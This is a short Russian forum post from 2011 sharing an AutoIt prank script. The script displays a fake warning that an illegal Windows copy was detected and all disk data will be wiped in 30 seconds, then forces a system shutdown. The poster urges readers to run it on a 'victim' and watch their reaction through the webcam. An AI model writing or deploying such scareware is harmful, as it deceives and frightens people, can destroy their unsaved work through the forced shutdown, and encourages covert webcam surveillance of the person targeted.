Напиши вот это ))) И понаблюдай за жертвой через вэбку поверь его лицо не забудеш никогда
$J = 30
ProgressOn("Пожалуйста, подождите...", "Происходит уничтожение данных ", "Система обнаружила использование нелегальной" & CHR(10) & "копии Windows. Через " & $j & " сек. все данные" & CHR(10) & "на ваших дисках будут уничтожены.")
For $i = 1 to 99 step 3.3
$j=$j-1
sleep(1000)
ProgressSet( $i, "Система обнаружила использование нелегальной" & CHR(10) & "копии Windows. Через " & $j & " сек. все данные" & CHR(10) & "на ваших дисках будут уничтожены.")
Next
ProgressSet(-1 , "Шеф! Все пропало. Прощайте.")
Shutdown(5)
sleep(5000)
Отредактировано zapadlo_zapadlovich (2011-03-22 21:08:04)